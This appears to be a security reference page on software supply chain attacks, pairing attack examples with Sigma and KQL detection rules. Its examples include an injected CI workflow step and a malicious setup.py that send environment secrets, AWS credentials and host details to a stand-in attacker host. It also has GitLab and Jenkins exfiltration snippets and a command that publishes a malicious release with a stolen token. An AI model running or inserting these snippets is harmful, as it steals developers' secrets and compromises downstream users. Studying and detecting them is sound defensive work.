Supply Chain and Software Security

Supply chain attacks compromise a trusted upstream component to reach downstream victims at scale. The payload is delivered through a legitimate, verified channel — a signed software update, a published npm package, a CI/CD pipeline — so traditional defenses (code signing, package verification) fail by design. Detection requires monitoring the behavior of legitimate software for anomalous post-install or post-update activity, which represents a fundamentally different detection surface than traditional malware.

Build Pipeline Attack

// GitHub Actions workflow YAML: attacker injects malicious step after repo access
# Injected into legitimate .github/workflows/build.yml:
name: Build
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Build
        run: make release
      # INJECTED STEP: exfil secrets from runner environment
      - name: Diagnostics
        run: |
          env | base64 | curl -s -X POST -d @- https://attacker[.]com/collect
          cat ~/.aws/credentials 2>/dev/null | curl -s -X POST -d @- https://attacker[.]com/aws
      - name: Sign and publish
        env:
          SIGNING_KEY: ${{ secrets.CODE_SIGN_KEY }}
        run: |
          # Legitimate signing step — attacker has already captured SIGNING_KEY above
          codesign --key "$SIGNING_KEY" dist/product.exe

# Detection: GitHub audit log shows workflow file modified by non-owner account
# GitHub: Repository → Security → Actions → audit log: 'workflow_run' events from new IP

Package Typosquatting and Dependency Confusion

# Typosquatting: register package names similar to popular packages
# cross-env → crossenv (malicious version published 2021)
# lodash → l0dash, lodash-utils
# requests (Python) → request, requestz
#
# Malicious package executes payload in setup.py (Python) or install script (npm):

# MALICIOUS setup.py (Python typosquat):
from setuptools import setup
import subprocess, os, platform, base64

def exfil():
    try:
        import socket, getpass
        data = f"{getpass.getuser()}@{socket.gethostname()} [{platform.system()}]"
        import urllib.request
        urllib.request.urlopen(
            f"http://attacker[.]com/c?d={base64.b64encode(data.encode()).decode()}",
            timeout=3
        )
    except Exception:
        pass

exfil()
setup(name='requestz', version='2.28.1', ...)

# DEPENDENCY CONFUSION attack (Alex Birsan, 2021):
# Internal npm package: @corp/internal-utils (published to private registry)
# Attacker publishes: internal-utils (WITHOUT @corp scope) to public npm registry
#   at version 9999.0.0 (higher than any internal version)
# npm install resolves public registry first when scope not specified
# → installs attacker's version on developer machines and CI/CD
# Fix: use explicit scope @corp/internal-utils always, and registry scoping in .npmrc

CI/CD Secret Extraction

// GitHub Actions: secrets available as environment variables in runner
// Steal via: env command, /proc/self/environ, or secret-specific reads
// ACTIONS_RUNTIME_TOKEN: scoped to the workflow run; can access artifact storage
// secrets.* : user-defined secrets; visible to steps in same job if printed

// Post-compromise from stolen deploy token:
// gh auth login --with-token <<< "TOKEN"
// gh release create v1.0.1 --title "Security Update" --notes "fix" malicious.exe
// → creates authenticated GitHub release from attacker's machine using stolen token

// GitLab CI variable exfil:
// - name: Exfil
//   run: |
//     curl -s -X POST -d "$(env | grep -i secret)" https://attacker[.]com/exfil

// Jenkins credential theft via Groovy script console:
// node {
//   withCredentials([string(credentialsId: 'DEPLOY_KEY', variable: 'KEY')]) {
//     sh "curl -X POST https://attacker[.]com/c -d '\$KEY'"
//   }
// }

// Detection: CI/CD audit logs (GitHub, GitLab, Jenkins all have API audit trails)
// Alert: workflow file modified in last 24h (diff between runs)
// Alert: new IP address accessing signing key or deploy credential
// Alert: release created outside of normal release pipeline timing

SBOM and Software Composition Analysis

Detection Engineering

title: Suspicious Network Call During Package Installation
logsource:
  product: windows
  service: sysmon
detection:
  install_process:
    EventID: 3
    Image|endswith:
      - '\python.exe'
      - '\pip.exe'
      - '\npm.exe'
      - '\node.exe'
    Initiated: 'true'
    DestinationPort|ne: 443  # outbound non-HTTPS during install
  condition: install_process
level: medium
tags: [attack.initial_access, T1195.001]

title: CI/CD Pipeline — Workflow File Modified Outside Release Process
description: .github/workflows/*.yml changed by non-service account
logsource:
  product: github
  service: audit_log
detection:
  selection:
    action: 'workflows.created_workflow_run'
    actor_not_in_allowlist: 'true'
  condition: selection
level: high

-- MDE KQL: software update binary executing unexpected network connection
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "product-updater.exe"
| where RemoteUrl !has "vendor-cdn.example.com"  // known update server
| where RemotePort == 443
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessCommandLine

-- MDE KQL: signed binary spawning unexpected child (trojanized update behavior)
DeviceProcessEvents
| where InitiatingProcessSignerType == "Signed"
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","powershell.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe")
| where ProcessCommandLine has_any ("-enc","hidden","bypass","IEX")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

Q&A